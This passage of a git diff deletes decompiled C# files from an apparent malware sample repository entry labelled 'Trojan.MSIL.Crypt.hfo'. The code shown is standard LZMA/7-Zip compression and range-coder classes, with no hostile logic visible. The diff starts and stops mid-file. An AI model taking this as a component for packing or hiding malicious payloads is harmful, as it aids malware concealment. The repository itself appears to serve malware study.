ReleaseStreams() - { - this.ReleaseMFStream(); - this.ReleaseOutStream(); - } - - private void SetStreams(Stream inStream, Stream outStream, long inSize, long outSize) - { - this._inStream = inStream; - this._finished = false; - this.Create(); - this.SetOutStream(outStream); - this.Init(); - this.FillDistancesPrices(); - this.FillAlignPrices(); - this._lenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._lenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._repMatchLenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this.nowPos64 = 0L; - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this._needReleaseMFStream = false; - try - { - this.SetStreams(inStream, outStream, inSize, outSize); - while (true) - { - long inSize1; - long outSize1; - do - { - bool finished; - this.CodeOneBlock(out inSize1, out outSize1, out finished); - if (finished) - goto label_3; - } - while (progress == null); - progress.SetProgress(inSize1, outSize1); - } -label_3:; - } - finally - { - this.ReleaseStreams(); - } - } - - public void WriteCoderProperties(Stream outStream) - { - this.properties[0] = (byte) ((this._posStateBits * 5 + this._numLiteralPosStateBits) * 9 + this._numLiteralContextBits); - for (int index = 0; index < 4; ++index) - this.properties[1 + index] = (byte) (this._dictionarySize >> 8 * index & (uint) byte.MaxValue); - outStream.Write(this.properties, 0, 5); - } - - private void FillDistancesPrices() - { - for (uint pos = 4; pos < 128U; ++pos) - { - uint posSlot = Encoder.GetPosSlot(pos); - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - this.tempPrices[(IntPtr) pos] = BitTreeEncoder.ReverseGetPrice(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), NumBitLevels, pos - num); - } - for (uint index1 = 0; index1 < 4U; ++index1) - { - BitTreeEncoder bitTreeEncoder = this._posSlotEncoder[(IntPtr) index1]; - uint num1 = index1 << 6; - for (uint symbol = 0; symbol < this._distTableSize; ++symbol) - this._posSlotPrices[(IntPtr) (num1 + symbol)] = bitTreeEncoder.GetPrice(symbol); - for (uint index2 = 14; index2 < this._distTableSize; ++index2) - this._posSlotPrices[(IntPtr) (num1 + index2)] += (uint) ((int) (index2 >> 1) - 1 - 4 << 6); - uint num2 = index1 * 128U; - uint pos; - for (pos = 0U; pos < 4U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + pos)]; - for (; pos < 128U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + Encoder.GetPosSlot(pos))] + this.tempPrices[(IntPtr) pos]; - } - this._matchPriceCount = 0U; - } - - private void FillAlignPrices() - { - for (uint symbol = 0; symbol < 16U; ++symbol) - this._alignPrices[(IntPtr) symbol] = this._posAlignEncoder.ReverseGetPrice(symbol); - this._alignPriceCount = 0U; - } - - private static int FindMatchFinder(string s) - { - for (int matchFinder = 0; matchFinder < Encoder.kMatchFinderIDs.Length; ++matchFinder) - { - if (s == Encoder.kMatchFinderIDs[matchFinder]) - return matchFinder; - } - return -1; - } - - public void SetCoderProperties(CoderPropID[] propIDs, object[] properties) - { - for (uint index = 0; (long) index < (long) properties.Length; ++index) - { - object property = properties[(IntPtr) index]; - switch (propIDs[(IntPtr) index]) - { - case CoderPropID.DictionarySize: - if (!(property is int num1)) - throw new InvalidParamException(); - this._dictionarySize = num1 >= 1 && num1 <= 1073741824 ? (uint) num1 : throw new InvalidParamException(); - int num2 = 0; - while (num2 < 30 && (long) num1 > (long) (uint) (1 << num2)) - ++num2; - this._distTableSize = (uint) (num2 * 2); - continue; - case CoderPropID.PosStateBits: - if (!(property is int num3)) - throw new InvalidParamException(); - this._posStateBits = num3 >= 0 && num3 <= 4 ? num3 : throw new InvalidParamException(); - this._posStateMask = (uint) ((1 << this._posStateBits) - 1); - continue; - case CoderPropID.LitContextBits: - if (!(property is int num4)) - throw new InvalidParamException(); - this._numLiteralContextBits = num4 >= 0 && num4 <= 8 ? num4 : throw new InvalidParamException(); - continue; - case CoderPropID.LitPosBits: - if (!(property is int num5)) - throw new InvalidParamException(); - this._numLiteralPosStateBits = num5 >= 0 && num5 <= 4 ? num5 : throw new InvalidParamException(); - continue; - case CoderPropID.NumFastBytes: - if (!(property is int num6)) - throw new InvalidParamException(); - this._numFastBytes = num6 >= 5 && num6 <= 273 ? (uint) num6 : throw new InvalidParamException(); - continue; - case CoderPropID.MatchFinder: - if (!(property is string)) - throw new InvalidParamException(); - Encoder.EMatchFinderType matchFinderType = this._matchFinderType; - int matchFinder = Encoder.FindMatchFinder(((string) property).ToUpper()); - this._matchFinderType = matchFinder >= 0 ? (Encoder.EMatchFinderType) matchFinder : throw new InvalidParamException(); - if (this._matchFinder != null && matchFinderType != this._matchFinderType) - { - this._dictionarySizePrev = uint.MaxValue; - this._matchFinder = (IMatchFinder) null; - continue; - } - continue; - case CoderPropID.Algorithm: - continue; - case CoderPropID.EndMarker: - if (!(property is bool writeEndMarker)) - throw new InvalidParamException(); - this.SetWriteEndMarkerMode(writeEndMarker); - continue; - default: - throw new InvalidParamException(); - } - } - } - - public void SetTrainSize(uint trainSize) => this._trainSize = trainSize; - - private enum EMatchFinderType - { - BT2, - BT4, - } - - private class LiteralEncoder - { - private Encoder.LiteralEncoder.Encoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Encoder.LiteralEncoder.Encoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - public Encoder.LiteralEncoder.Encoder2 GetSubCoder(uint pos, byte prevByte) => this.m_Coders[(IntPtr) (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits))]; - - public struct Encoder2 - { - private BitEncoder[] m_Encoders; - - public void Create() => this.m_Encoders = new BitEncoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Encoders[index].Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte symbol) - { - uint index1 = 1; - for (int index2 = 7; index2 >= 0; --index2) - { - uint symbol1 = (uint) ((int) symbol >> index2 & 1); - this.m_Encoders[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - } - } - - public void EncodeMatched(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte matchByte, byte symbol) - { - uint num1 = 1; - bool flag = true; - for (int index1 = 7; index1 >= 0; --index1) - { - uint symbol1 = (uint) ((int) symbol >> index1 & 1); - uint index2 = num1; - if (flag) - { - uint num2 = (uint) ((int) matchByte >> index1 & 1); - index2 += (uint) (1 + (int) num2 << 8); - flag = (int) num2 == (int) symbol1; - } - this.m_Encoders[(IntPtr) index2].Encode(rangeEncoder, symbol1); - num1 = num1 << 1 | symbol1; - } - } - - public uint GetPrice(bool matchMode, byte matchByte, byte symbol) - { - uint price = 0; - uint index = 1; - int num1 = 7; - if (matchMode) - { - for (; num1 >= 0; --num1) - { - uint num2 = (uint) ((int) matchByte >> num1 & 1); - uint symbol1 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) ((uint) (1 + (int) num2 << 8) + index)].GetPrice(symbol1); - index = index << 1 | symbol1; - if ((int) num2 != (int) symbol1) - { - --num1; - break; - } - } - } - for (; num1 >= 0; --num1) - { - uint symbol2 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) index].GetPrice(symbol2); - index = index << 1 | symbol2; - } - return price; - } - } - } - - private class LenEncoder - { - private BitEncoder _choice = new BitEncoder(); - private BitEncoder _choice2 = new BitEncoder(); - private BitTreeEncoder[] _lowCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder[] _midCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder _highCoder = new BitTreeEncoder(8); - - public LenEncoder() - { - for (uint index = 0; index < 16U; ++index) - { - this._lowCoder[(IntPtr) index] = new BitTreeEncoder(3); - this._midCoder[(IntPtr) index] = new BitTreeEncoder(3); - } - } - - public void Init(uint numPosStates) - { - this._choice.Init(); - this._choice2.Init(); - for (uint index = 0; index < numPosStates; ++index) - { - this._lowCoder[(IntPtr) index].Init(); - this._midCoder[(IntPtr) index].Init(); - } - this._highCoder.Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - if (symbol < 8U) - { - this._choice.Encode(rangeEncoder, 0U); - this._lowCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - symbol -= 8U; - this._choice.Encode(rangeEncoder, 1U); - if (symbol < 8U) - { - this._choice2.Encode(rangeEncoder, 0U); - this._midCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - this._choice2.Encode(rangeEncoder, 1U); - this._highCoder.Encode(rangeEncoder, symbol - 8U); - } - } - } - - public void SetPrices(uint posState, uint numSymbols, uint[] prices, uint st) - { - uint price0 = this._choice.GetPrice0(); - uint price1 = this._choice.GetPrice1(); - uint num1 = price1 + this._choice2.GetPrice0(); - uint num2 = price1 + this._choice2.GetPrice1(); - uint symbol; - for (symbol = 0U; symbol < 8U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = price0 + this._lowCoder[(IntPtr) posState].GetPrice(symbol); - } - for (; symbol < 16U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = num1 + this._midCoder[(IntPtr) posState].GetPrice(symbol - 8U); - } - for (; symbol < numSymbols; ++symbol) - prices[(IntPtr) (st + symbol)] = num2 + this._highCoder.GetPrice((uint) ((int) symbol - 8 - 8)); - } - } - - private class LenPriceTableEncoder : Encoder.LenEncoder - { - private uint[] _prices = new uint[new IntPtr(4352)]; - private uint _tableSize; - private uint[] _counters = new uint[new IntPtr(16)]; - - public void SetTableSize(uint tableSize) => this._tableSize = tableSize; - - public uint GetPrice(uint symbol, uint posState) => this._prices[(IntPtr) (posState * 272U + symbol)]; - - private void UpdateTable(uint posState) - { - this.SetPrices(posState, this._tableSize, this._prices, posState * 272U); - this._counters[(IntPtr) posState] = this._tableSize; - } - - public void UpdateTables(uint numPosStates) - { - for (uint posState = 0; posState < numPosStates; ++posState) - this.UpdateTable(posState); - } - - public new void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - base.Encode(rangeEncoder, symbol, posState); - if (--this._counters[(IntPtr) posState] != 0U) - return; - this.UpdateTable(posState); - } - } - - private class Optimal - { - public Base.State State; - public bool Prev1IsChar; - public bool Prev2; - public uint PosPrev2; - public uint BackPrev2; - public uint Price; - public uint PosPrev; - public uint BackPrev; - public uint Backs0; - public uint Backs1; - public uint Backs2; - public uint Backs3; - - public void MakeAsChar() - { - this.BackPrev = uint.MaxValue; - this.Prev1IsChar = false; - } - - public void MakeAsShortRep() - { - this.BackPrev = 0U; - this.Prev1IsChar = false; - } - - public bool IsShortRep() => this.BackPrev == 0U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/SevenZipHelper.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/SevenZipHelper.cs deleted file mode 100644 index 78b535f2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/SevenZipHelper.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.SevenZipHelper -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public static class SevenZipHelper - { - private static int dictionary = 8388608; - private static bool eos = false; - private static CoderPropID[] propIDs = new CoderPropID[8] - { - CoderPropID.DictionarySize, - CoderPropID.PosStateBits, - CoderPropID.LitContextBits, - CoderPropID.LitPosBits, - CoderPropID.Algorithm, - CoderPropID.NumFastBytes, - CoderPropID.MatchFinder, - CoderPropID.EndMarker - }; - private static object[] properties = new object[8] - { - (object) SevenZipHelper.dictionary, - (object) 2, - (object) 3, - (object) 0, - (object) 2, - (object) 128, - (object) "bt4", - (object) SevenZipHelper.eos - }; - - public static byte[] Compress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - MemoryStream outStream = new MemoryStream(); - Encoder encoder = new Encoder(); - encoder.SetCoderProperties(SevenZipHelper.propIDs, SevenZipHelper.properties); - encoder.WriteCoderProperties((Stream) outStream); - long length = inStream.Length; - for (int index = 0; index < 8; ++index) - outStream.WriteByte((byte) (length >> 8 * index)); - encoder.Code((Stream) inStream, (Stream) outStream, -1L, -1L, (ICodeProgress) null); - return outStream.ToArray(); - } - - public static byte[] Decompress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - Decoder decoder = new Decoder(); - inStream.Seek(0L, SeekOrigin.Begin); - MemoryStream outStream = new MemoryStream(); - byte[] numArray = new byte[5]; - if (inStream.Read(numArray, 0, 5) != 5) - throw new Exception("input .lzma is too short"); - long outSize = 0; - for (int index = 0; index < 8; ++index) - { - int num = inStream.ReadByte(); - if (num < 0) - throw new Exception("Can't Read 1"); - outSize |= (long) (byte) num << 8 * index; - } - decoder.SetDecoderProperties(numArray); - long inSize = inStream.Length - inStream.Position; - decoder.Code((Stream) inStream, (Stream) outStream, inSize, outSize, (ICodeProgress) null); - return outStream.ToArray(); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitDecoder.cs deleted file mode 100644 index 9e5e8eca..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitDecoder.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitDecoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitDecoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private uint Prob; - - public void UpdateModel(int numMoveBits, uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> numMoveBits; - else - this.Prob -= this.Prob >> numMoveBits; - } - - public void Init() => this.Prob = 1024U; - - public uint Decode(Decoder rangeDecoder) - { - uint num = (rangeDecoder.Range >> 11) * this.Prob; - if (rangeDecoder.Code < num) - { - rangeDecoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 0; - } - rangeDecoder.Range -= num; - rangeDecoder.Code -= num; - this.Prob -= this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 1; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitEncoder.cs deleted file mode 100644 index eaa3302c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitEncoder.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitEncoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitEncoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private const int kNumMoveReducingBits = 2; - public const int kNumBitPriceShiftBits = 6; - private uint Prob; - private static uint[] ProbPrices = new uint[new IntPtr(512)]; - - public void Init() => this.Prob = 1024U; - - public void UpdateModel(uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> 5; - else - this.Prob -= this.Prob >> 5; - } - - public void Encode(Encoder encoder, uint symbol) - { - uint num = (encoder.Range >> 11) * this.Prob; - if (symbol == 0U) - { - encoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - } - else - { - encoder.Low += (ulong) num; - encoder.Range -= num; - this.Prob -= this.Prob >> 5; - } - if (encoder.Range >= 16777216U) - return; - encoder.Range <<= 8; - encoder.ShiftLow(); - } - - static BitEncoder() - { - for (int index1 = 8; index1 >= 0; --index1) - { - uint num1 = (uint) (1 << 9 - index1 - 1); - uint num2 = (uint) (1 << 9 - index1); - for (uint index2 = num1; index2 < num2; ++index2) - BitEncoder.ProbPrices[(IntPtr) index2] = (uint) (index1 << 6) + ((uint) ((int) num2 - (int) index2 << 6) >> 9 - index1 - 1); - } - } - - public uint GetPrice(uint symbol) => BitEncoder.ProbPrices[(((long) (this.Prob - symbol) ^ (long) -(int) symbol) & 2047L) >> 2]; - - public uint GetPrice0() => BitEncoder.ProbPrices[(IntPtr) (this.Prob >> 2)]; - - public uint GetPrice1() => BitEncoder.ProbPrices[(IntPtr) (2048U - this.Prob >> 2)]; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitTreeDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitTreeDecoder.cs deleted file mode 100644 index 9df1b037..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitTreeDecoder.cs +++ /dev/null @@ -1,66 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeDecoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeDecoder - { - private BitDecoder[] Models; - private int NumBitLevels; - - public BitTreeDecoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitDecoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public uint Decode(Decoder rangeDecoder) - { - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - index = (index << 1) + this.Models[(IntPtr) index].Decode(rangeDecoder); - return index - (uint) (1 << this.NumBitLevels); - } - - public uint ReverseDecode(Decoder rangeDecoder) - { - uint index1 = 1; - uint num1 = 0; - for (int index2 = 0; index2 < this.NumBitLevels; ++index2) - { - uint num2 = this.Models[(IntPtr) index1].Decode(rangeDecoder); - index1 = (index1 << 1) + num2; - num1 |= num2 << index2; - } - return num1; - } - - public static uint ReverseDecode( - BitDecoder[] Models, - uint startIndex, - Decoder rangeDecoder, - int NumBitLevels) - { - uint num1 = 1; - uint num2 = 0; - for (int index = 0; index < NumBitLevels; ++index) - { - uint num3 = Models[(IntPtr) (startIndex + num1)].Decode(rangeDecoder); - num1 = (num1 << 1) + num3; - num2 |= num3 << index; - } - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitTreeEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitTreeEncoder.cs deleted file mode 100644 index 0e16ee21..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/BitTreeEncoder.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeEncoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeEncoder - { - private BitEncoder[] Models; - private int NumBitLevels; - - public BitTreeEncoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitEncoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public void Encode(Encoder rangeEncoder, uint symbol) - { - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - this.Models[(IntPtr) index].Encode(rangeEncoder, symbol1); - index = index << 1 | symbol1; - } - } - - public void ReverseEncode(Encoder rangeEncoder, uint symbol) - { - uint index1 = 1; - for (uint index2 = 0; (long) index2 < (long) this.NumBitLevels; ++index2) - { - uint symbol1 = symbol & 1U; - this.Models[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - symbol >>= 1; - } - } - - public uint GetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = (index << 1) + symbol1; - } - return price; - } - - public uint ReverseGetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = index << 1 | symbol1; - } - return price; - } - - public static uint ReverseGetPrice( - BitEncoder[] Models, - uint startIndex, - int NumBitLevels, - uint symbol) - { - uint price = 0; - uint num = 1; - for (int index = NumBitLevels; index > 0; --index) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += Models[(IntPtr) (startIndex + num)].GetPrice(symbol1); - num = num << 1 | symbol1; - } - return price; - } - - public static void ReverseEncode( - BitEncoder[] Models, - uint startIndex, - Encoder rangeEncoder, - int NumBitLevels, - uint symbol) - { - uint num = 1; - for (int index = 0; index < NumBitLevels; ++index) - { - uint symbol1 = symbol & 1U; - Models[(IntPtr) (startIndex + num)].Encode(rangeEncoder, symbol1); - num = num << 1 | symbol1; - symbol >>= 1; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/Decoder.cs deleted file mode 100644 index 9b1adcf9..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/Decoder.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Decoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Decoder - { - public const uint kTopValue = 16777216; - public uint Range; - public uint Code; - public Stream Stream; - - public void Init(Stream stream) - { - this.Stream = stream; - this.Code = 0U; - this.Range = uint.MaxValue; - for (int index = 0; index < 5; ++index) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void CloseStream() => this.Stream.Close(); - - public void Normalize() - { - for (; this.Range < 16777216U; this.Range <<= 8) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void Normalize2() - { - if (this.Range >= 16777216U) - return; - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - this.Range <<= 8; - } - - public uint GetThreshold(uint total) => this.Code / (this.Range /= total); - - public void Decode(uint start, uint size, uint total) - { - this.Code -= start * this.Range; - this.Range *= size; - this.Normalize(); - } - - public uint DecodeDirectBits(int numTotalBits) - { - uint range = this.Range; - uint num1 = this.Code; - uint num2 = 0; - for (int index = numTotalBits; index > 0; --index) - { - range >>= 1; - uint num3 = num1 - range >> 31; - num1 -= range & num3 - 1U; - num2 = (uint) ((int) num2 << 1 | 1 - (int) num3); - if (range < 16777216U) - { - num1 = num1 << 8 | (uint) (byte) this.Stream.ReadByte(); - range <<= 8; - } - } - this.Range = range; - this.Code = num1; - return num2; - } - - public uint DecodeBit(uint size0, int numTotalBits) - { - uint num1 = (this.Range >> numTotalBits) * size0; - uint num2; - if (this.Code < num1) - { - num2 = 0U; - this.Range = num1; - } - else - { - num2 = 1U; - this.Code -= num1; - this.Range -= num1; - } - this.Normalize(); - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/Encoder.cs deleted file mode 100644 index 6aa816df..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/RangeCoder/Encoder.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Encoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Encoder - { - public const uint kTopValue = 16777216; - private Stream Stream; - public ulong Low; - public uint Range; - private uint _cacheSize; - private byte _cache; - private long 